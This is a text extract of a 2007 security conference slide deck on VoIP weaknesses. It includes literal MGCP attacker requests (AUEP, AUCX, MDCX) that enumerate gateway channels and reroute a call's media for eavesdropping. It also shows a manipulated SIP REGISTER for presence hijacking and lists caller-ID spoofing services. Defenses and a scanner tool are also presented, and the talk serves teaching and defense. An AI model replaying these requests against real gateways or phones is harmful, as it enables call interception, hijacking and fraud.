Transparent weaknesses in VoIP

Peter Thermos
peter.thermos@palindrometech.com
Speaker Background

- **Consulting**
  - Government and commercial organizations, consulting on information security and assurance, InfoSec program development and management, vulnerability assessments, security architecture, NGN/VoIP/IMS.

- **Research**
  - Principal investigator on research tasks, in the area of Internet Multimedia and Next Generation Networks (VoIP) and security, that were are funded by government organizations such as NIST (National Institute of Standards and Technology), DARPA (Defense Advanced Research Agency), NSF (National Science Foundation) and others. In addition he has been working with domestic and foreign Telecommunications carriers and Fortune 500 companies on identifying security requirements for IMS/NGN and VoIP, conducting vulnerability assessments and product evaluations.

- **Member of IETF/IEEE/ACM.**

- **Education**
  - MS,CS Columbia University
Outline

- Quick intro
  - Then and now
- Attacks
  - Transparent weaknesses
    - MGCP
    - ZRTP
  - Other attacks
    - Presence hijacking
    - Caller-ID spoofing
- How do we secure NGN /VoIP networks and conclusions
- SiVuS 1.10
- Additional references
Present and Future (Summary)

PSTN Network
- Closed therefore “secure”
- High availability (99.999%)
- Limited connection to IP (OSS provisioning, management)

IP Network
- Loose access controls.
- Best effort
- Connected to accessible IP networks.

“There is one safeguard known generally to the wise, which is an advantage and security to all, but especially to democracies as against despots. What is it? Distrust.”
Demosthenes (c. 384–322 B.C.), Greek orator. Second Philippic, sct. 24 (344 B.C.)
Components and Signaling Protocols
Outline

- Quick intro
  - Then and now

- Attacks
  - Transparent weaknesses
    - MGCP
    - ZRTP
  - Other attacks
    - Presence hijacking
    - Caller-ID spoofing

- How do we secure NGN /VoIP networks and conclusions

- SiVuS 1.10

- Additional references
# Attacks

<table>
<thead>
<tr>
<th>Attacks</th>
<th>Target(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Service disruption (amplification attacks DoS/DDoS)</td>
<td>Network Owners, Service Providers, Subscribers</td>
</tr>
<tr>
<td>Eavesdropping (including traffic analysis)</td>
<td>Network Owners, Service Providers, Subscribers</td>
</tr>
<tr>
<td>Fraud (including service and intellectual assets, confidential information)</td>
<td>Network Owners, Service Providers</td>
</tr>
<tr>
<td>Unauthorized access (compromise systems with intentions to attack other systems or exploit vulnerabilities to commit fraud and eavesdropping).</td>
<td>Network Owners, Service Providers, Subscribers</td>
</tr>
<tr>
<td>Annoyance (e.g. SPIT)</td>
<td>Subscribers</td>
</tr>
</tbody>
</table>
Where are the vulnerabilities?

- **Threat model**, vulnerabilities originate from the difficulty to foresee future threats (e.g. Signaling System No.7)

- **Design & specification** vulnerabilities come from errors or oversights in the design of the protocol that make it inherently vulnerable (e.g., SIP, MCGP, 802.11b)

- **Implementation vulnerabilities** are vulnerabilities that are introduced by errors in a protocol implementation

- **Architecture**, network topology and association (e.g. routing) with other network elements.
Attack Categories

- Service disruption (DoS/DDoS)
  - Against phones, proxies, routers
  - SIP/MGCP/H.323/RTP
  - Affects edge-devices, overloads signaling elements and consumes network bandwidth

- Unauthorized access
  - Network elements including subscriber devices, voice mail, email, DNS, NTP, DHCP servers.
  - Service
  - Applications
  - Management systems
  - Provisioning Systems
  - Billing Systems

- Eavesdropping and traffic analysis

- Fraud
  - Network element compromise
  - Manipulating the signaling messages and/or call flow
We will focus on..

- MGCP manipulation
  - Remote eavesdropping
  - Call diversion
  - Call disruption
- ZRTP weaknesses
- But we will also discuss
  - Presence hijacking
  - Caller-ID spoofing
MGCP

- Media Gateway Control Protocol
- IETF RFC 2705
- Ports
  - 2427 – call agent to gateway
  - 2727 – gateway to call agent
MGCP message structure
MGCP at the gateway

Integration of MGCP in VoIP Networks
Remote eavesdropping through media rerouting

Eavesdropping with MGCP

- Bob
- SIP
- MGCP
- RTP
- Call Manager
- PSTN Gateway
- Alice
- PSTN
- Bruce, the attacker

© 2007 Palindrome Technologies, All Rights Reserved
The steps

1. Identify gateway channels
2. Interrogating a channel
3. Audit a specific connection
4. Reroute
Identify gateway channels

- **Attacker request**
  
  AUEP 1500 *@mgcp.gateway MGCP 0.1

- **Gateway response**
  
  200 1500
  Z: S0/SU1/DS1-0/1@mgcp.gateway
  Z: S0/SU1/DS1-0/2@mgcp.gateway
  Z: S0/SU1/DS1-0/3@mgcp.gateway
  Z: S0/SU1/DS1-0/4@mgcp.gateway
Interrogating a channel

Attacker request
AUEP 1000 S0/SU1/DS1-0/1@mgcp.gateway  MGCP 0.1
F: R,D,S,X,N,I,T,O,ES

Gateway response
200 1000
I: 2EDA
N: ca@10.96.1.51:2427
X: 1
R: D/[0-9ABCD*#](N)
S:
O:
T:
ES:

Important info to note
(connection ID)

Important info to note
(associated call manager)
Audit a specific connection

- **Attacker request**
  - AUCX 1 (S0/SU1/DS1-0/1@mgcp.gateway) MGCP 1.0
  - I: 2EDA
  - F: C,N,L,M,LC,RC,P

- **Gateway response**
  - 200 1
  - C: D00000000020005940000000F50000001d
  - N: ca@10.6.1.21:2427
  - L: p:20, a:PCMU, s:off, t:b8
  - M: sendrecv
  - P: PS=9817, OS=1570720, PR=9817, OR=1570720, PL=0, JI=60, LA=0
  - v=0
  - c=IN IP4 **10.6.255.25**
  - m=audio **18688** RTP/AVP 0 100
  - a=rtpmap:100 X-NSE/8000
  - a=fmtp:100 192-194
This might work…

- Attacker request
  MDCX 1553 S0/SU1/DS1-0/1@mgcp.gateway MGCP 0.1
  C: D000000002003e0e000000F580001f6d
  I: 2EDA
  X: 16
  L: p:20, a:PCMU, s:off, t:b8
  M: sendrecv
  R: D/[0-9ABCD*#]
  Q: process, loop

  v=0
  o=- 1334 0 IN EPN S0/SU1/DS1-0/1@mgcp.gateway
  s=Disco SDP 0
  t=0 0
  m=audio 17994 RTP/AVP 0
  c=IN IP4 10.6.158.178

© 2007 Palindrome Technologies, All Rights Reserved
Consequences

Ability to:

- eavesdrop in to conference calls
- man in the middle by impersonating as a call manager (EPCF, end-point configuration)
- Call disruption (DLCX, delete a connection)
- Originate a calls
Protection

Does "defense in depth" tell you anything? Buller…?

- Network ACL’s to prevent access to MGCP ports (2427) from un-trusted hosts.
- Establish a trust relationship between CA and gateway
- IPSec
Zfone protects voice except...
Zfone

- Implementation of ZRTP
- ZRTP key exchange through the media path (RTP)
ZRTP key exchange

Bob sends a commit message and thus becomes the initiator. Alice becomes the responder.

SRTP

Bob and Alice generate session encryption keys to be used with SRTP.
### Analysis of ZRTP traffic

![WireShark Network Traffic Analysis](image)

#### Packets Analysis:
- **Source Address:** 192.168.1.107
- **Destination Address:** 192.168.1.108
- **Protocol:** RTP
- **Type:** payload
- **Source Port:** 5060
- **Destination Port:** 5060
- **Source IP:** 192.168.1.107
- **Destination IP:** 192.168.1.108
- **Source MAC:** 00:11:22:33:44:55
- **Destination MAC:** 00:22:33:44:55:66
- **Time:** 14:30

**Note:** Further analysis required to identify specific details about ZRTP traffic patterns.
DTMF tones are not encrypted

**IP**
- Destination: 192.168.1.107 (192.168.1.107)
- User Datagram Protocol, Src Port: 49218 (49218), Dst Port: 49182 (49182)
  - Source port: 49218 (49218)
  - Destination port: 49182 (49182)
- Length: 24
- Checksum: 0x19fe [correct]
  - [Good Checksum: True]
  - [Bad Checksum: False]

**UDP**
- Real-Time Transport Protocol
  - [Stream setup by SDP (frame 43)]
  - [Setup frame: 43]
  - [Setup Method: SDP]
  - 10.... = Version: RFC 1889 Version (2)
  - ..0.... = Padding: False
  - ...0.... = Extension: False
  - ....0000 = Contributing source identifiers count: 0
  - 1.... = Marker: True

**RTP**
- Payload type: telephone-event (101)
- Sequence number: 3213
- Timestamp: 51840
- Synchronization Source identifier: 144866967

RFC 2833 RTP Event
- Event ID: **DTMF Two 2 (2)**
- 0.... = End of Event: False
- ..0.... = Reserved: False
- ..00 1010 = Volume: 10
- Event Duration: 0
Examples of DTMF use

- IVR – Interactive Voice Response system (navigation and authentication)
  - Credit card verification
  - Bank account management
  - Customer support call center
Protection approach

- Extend ZRTP/Zfone implementation to protect DTMF
- Send DTMF through protected signaling
Attacks - Spoofing Caller-ID
Companies that offer Caller-ID Spoofing

https://connect.voicepulse.com/

http://www.nufone.net/

http://www.spooftel.net/
Spoofing Caller-ID using SiVuS

- Manipulate the FROM header information
- Send and INVITE to a phone
Attacks - Presence Hijacking

Presence Hijacking/Masquerading Attack using SIP
Presence Hijacking using SiVuS

- The objective is to spoof a REGISTER request.
- The REGISTER request contains the “Contact:” header which indicates the IP address of the SIP device.
Presence Hijacking using SiVuS – Regular Register Request

<table>
<thead>
<tr>
<th>Frame 1 (611 bytes on wire, 611 bytes captured)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ethernet II, Src: 00:12:17 e5:7e:00, Dst: 00:05:00:e5:6b:00</td>
</tr>
<tr>
<td>User Datagram Protocol, Src Port: 5061 (5061), Dst Port: 5061 (5061)</td>
</tr>
</tbody>
</table>

Session Initiation Protocol
Request-Line: REGISTER sip:atlas4.voipprovider.net:5061 SIP/2.0
Method: REGISTER
Resent Packet: False
Message Header
Via: SIP/2.0/UDP 192.168.1.1:5061;branch=z9hG4bK-49897e4e
From: 201-853-0102 <sip:12018530102@atlas4.voipprovider.net:5061>;tag=802c30536f050c58c0
SIP Display info: 201-853-0102
SIP from address: sip:12018530102@atlas4.voipprovider.net:5061
SIP tag: 802030536f050c5660
To: 201-853-0102 <sip:12018530102@atlas4.voipprovider.net:5061>
SIP Display info: 201-853-0102
SIP to address: sip:12018530102@atlas4.voipprovider.net:5061
Call-ID: edbb5007-b7350032@192.168.1.5
CSeq: 3 REGISTER.
Max-Forwards: 70
Contact: 201-853-0102 <sip:12018530102@192.168.10.5:5061>;expires=60
User-Agent: 001217e57e31 Linksys/RT31P2-2.0.13(LIVd)
Content-Length: 0
Allow: ACK, BYE, CANCEL, INFO, INVITE, NOTIFY, OPTIONS, REFER
Supported: x-capua

Request to REGISTER and announce contact address for the user. In the REGISTER request the From and To headers must use the same user information.

Indicates that the registration will expire in 60 seconds. Another REGISTER Request should be sent to refresh the user's registration.

The Contact header contains a SIP or SIPS URI that represents a direct route to the device, usually composed of a username at a fully qualified domain name (FQDN).
The Attack

0 – DoS Attack
1 – User Registration
2 – Caller - Session Initiation Request
3 – Proxy - Domain look up and routing
4 – Proxy - user lookup (SIP Proxy retrieves the attacker’s IP address)
5 – Proxy - Proxy contacts user
6 – Callee answers
7 – Proxy forwards caller response – The connection has been established and media is routed between the two phones.
Manipulated REGISTER request properties

REGISTER sip:216.1.2.5 SIP/2.0
Via: SIP/2.0/UDP 192.168.1.6;branch=xajB6FLTEHlcd0
From: 732-835-0102 <sip:12125550102@voip-service-provider.net:5061>;tag=5e374a8bad1f7c5x1
To: 732-835-0102 <sip:12125550102@voip-service-provider.net:5061>
Call-ID: QTEv5G5dOHYc@192.168.1.2
CSeq: 123456 REGISTER
Contact: 212550102 <sip:12125550102@192.168.1.3:5061>; Digest username="12125550102",realm="216.1.2.5",nonce="716917624",uri="sip:voip-service-provider.net:5061",algorithm=MD5, response="43e001d2ef807f1e2c96e78adfd50bf7"
Max_forwards: 70
User Agent: 001217E57E31 VoIP-Router/RT31P2-2.0.13(LIVd)
Content-Type: application/sdp
Subject: SiVuS Test
Expires: 7200
Content-Length: 0
Presence Hijacking using SiVuS – The REGISTER Message

The REGISTER Message

Conversation Log:

REGISTER sip:192.168.1.2:5060
Via: SIP/2.0/UDP 192.168.1.5;branch=z9hG4k-lj8674sh
From: 2619330948@192.168.1.4;tag=36121
To: 2619330948@192.168.1.4;tag=36121
Auth-QKD: SHA-1, key=16927741409879252279
Call-ID: yVQi8JQLvRlR6VhrWEPjN1.1551.5
CSeq: 12345 REGISTER
Contact: 2619330948@192.168.1.5
User-Agent: 0012.705779.1908/@192.168.1.5
Content-Type: application/vxml
Subject: SiVuS Test
Expires: 7200
Content-Length: 0

Register details:

Contact: 2619330948@192.168.1.5
User-Agent: 0012.705779.1908/@192.168.1.5
Expires: 7200
Content-Length: 0

SIP Message:

REGISTER sip;tag=1:3108404
Via: SIP/2.0/UDP 192.168.1.5;branch=z9hG4k-lj8674sh
From: 2619330948@192.168.1.4;tag=36121
To: 2619330948@192.168.1.4;tag=36121
Auth-QKD: SHA-1, key=16927741409879252279
Call-ID: yVQi8JQLvRlR6VhrWEPjN1.1551.5
CSeq: 12345 REGISTER
Contact: 2619330948@192.168.1.5
User-Agent: 0012.705779.1908/@192.168.1.5
Content-Type: application/vxml
Subject: SiVuS Test
Expires: 7200
Content-Length: 0

SIP/VoIP Vulnerability Scanner v1.09 beta

© 2007 Palindrome Technologies, All Rights Reserved
Outline

- Quick intro
  - Then and now

- Attacks
  - Transparent weaknesses
    - MGCP
    - ZRTP
  - Other attacks
    - Presence hijacking
    - Caller-ID spoofing

- How do we secure NGN /VoIP networks and conclusions

- SiVuS 1.10

- Additional references
How do we secure NGN/VoIP networks?

SECURITY is NOT a product, it’s a PROCESS!

- Application
  - Signaling (Authentication, authorization, confidentiality, integrity)
  - Media (Authentication, authorization, confidentiality, integrity)
  - Logging and monitoring

- Operating System
  - Authentication
  - Authorization
  - Administration and Management
  - Logging and monitoring

- Network Controls
  - Firewalls
  - Intrusion Detection
  - Routers
  - Switches

- Architecture
  - Network Segregation (e.g. PBX, Voice Mail Server, phones)
  - Switched Network
  - Private Addressing

- Security Requirements
  - End devices (e.g. softphones, IP Phones, PDA’s)
  - Network components (e.g. signaling/media gateways)
  - Security Components (e.g. Firewalls)
Outline

- Quick intro
  - Then and now

- Attacks
  - Transparent weaknesses
    - MGCP
    - ZRTP
  - Other attacks
    - Presence hijacking
    - Caller-ID spoofing

- How do we secure NGN /VoIP networks and conclusions

- SiVuS 1.10

- Additional references
SiVuS - Discovery
SiVuS – configuration
SiVuS – Control Panel
**VoIP Scanner - Report**

This report was generated on Tue Jun 15 19:00:37 EDT 2004

### Summary of Findings

<table>
<thead>
<tr>
<th>Risk Level</th>
<th>Number of Findings</th>
</tr>
</thead>
<tbody>
<tr>
<td>High</td>
<td>24</td>
</tr>
<tr>
<td>Medium</td>
<td>0</td>
</tr>
<tr>
<td>Low</td>
<td>0</td>
</tr>
<tr>
<td>Informational</td>
<td>0</td>
</tr>
</tbody>
</table>

### Findings Detail

<table>
<thead>
<tr>
<th>#</th>
<th>Description</th>
<th>Recommendation</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.13</td>
<td>[Informational]</td>
<td>Check No [0001]</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Server: Sip Express router 0.9.10 (300/linus)</td>
</tr>
<tr>
<td>1.14</td>
<td>[Informational]</td>
<td>Check No [0001]</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Server: Sip Express router 0.9.10 (300/linus)</td>
</tr>
<tr>
<td>1.1</td>
<td>[High]</td>
<td>Check No [10002.0]</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Server: Sip Express router 0.9.10 (300/linus)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Description: This check verifies the ability of the UA to handle 5000 as the username in a URI using the REGISTER request over UDP.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Recommendation: It appears that the target UA could not handle SIP requests (over UDP) of 5000 as the username in the URI in a REGISTER request. Ensure that the UA can accept malicious requests that contain 5000 characters as the username.</td>
</tr>
<tr>
<td>1.13</td>
<td>[High]</td>
<td>Check No [10003.0]</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Server: Sip Express router 0.9.10 (300/linus)</td>
</tr>
</tbody>
</table>
SiVuS – Authentication Analysis

SiVuS – The VoIP Vulnerability Scanner v1.09-beta

Authentication Analysis

Offline Analysis

Username: username
Password: password
Realm: realm
Nonce: nonce
User: <domain@port> Don't supply
Method: REGISTER

Result

Trying username: username with password: password

Start Stop
Outline

- Quick intro
  - Then and now
- Attacks
  - Transparent weaknesses
    - MGCP
    - ZRTP
  - Other attacks
    - Presence hijacking
    - Caller-ID spoofing
- How do we secure NGN /VoIP networks and conclusions
- SiVuS 1.10
- Additional references
Additional references
References

- The VoP Security Forum, www.vopsecurity.org
- NIST –
  - Security Considerations for VoIP Systems
  - Voice over Internet Protocol (VoIP), Security Technical Implementation Guide (DISA)
- Signaling System 7 (SS7), http://www.iec.org/online/tutorials/ss7/topic14.html
- IP Telephony with SIP - www.iptel.org/sip/
- SIP Tutorials
  - The Session Initiation Protocol (SIP)
  - SIP and the new network communications model
- Third Generation Partnership Project (3gpp), http://www.3gpp.org/
Standards

- **ITU**
  - Focus Group on Next Generation Networks (FGNGN) - [http://www.itu.int/ITU-T/ngn/fgngn/](http://www.itu.int/ITU-T/ngn/fgngn/)

- **IETF**

  - T1S1.1 -- Lawfully Authorized Electronic Surveillance
  - T1S1.2 -- Security

- **Lawful Intercept**
  - 3GPP - TS 33.106 and TS 33.107
  - ETSI DTS 102 v4.0.4
The objectives of the VoPSecurity.org forum:

- Encourage education in NGN/VoIP security through publications, online forums and mailing lists (voptalk@vopsecurity.org and members@vopsecurity.org)

- Develop capabilities (tools, interoperability testing, methodologies and best practices) for members to maintain security in their respective infrastructure.

- Conduct research to help identify vulnerabilities and solutions associated with NGN/VoIP.

- Coordinate annual member meetings to disseminate information, provide updates and promote interaction and initiatives regarding NGN/VoIP security.

The VoP Security forum is viewed as a mechanism for participating members to be proactive and stay current with the threats and vulnerabilities associated with NGN/VoIP security and extend research in this area.
VoPSecurity Forum

- Current Activities
  - Mailing lists
    - Public (voptalk@vopsecurity.org)
  - Documentation
    - Intro to NGN Security (available)
    - Vulnerability Analysis Methodology for VoIP networks (in development)
    - VoIP Firewalls (in development)
  - Tools
    - SiVuS – VoIP vulnerability Scanner (available)
  - Research
    - Security evaluation of residential VoIP gateways
Q & A

Contact info:
Peter Thermos
pthermos@vopsecurity.org
peter@palindrometech.com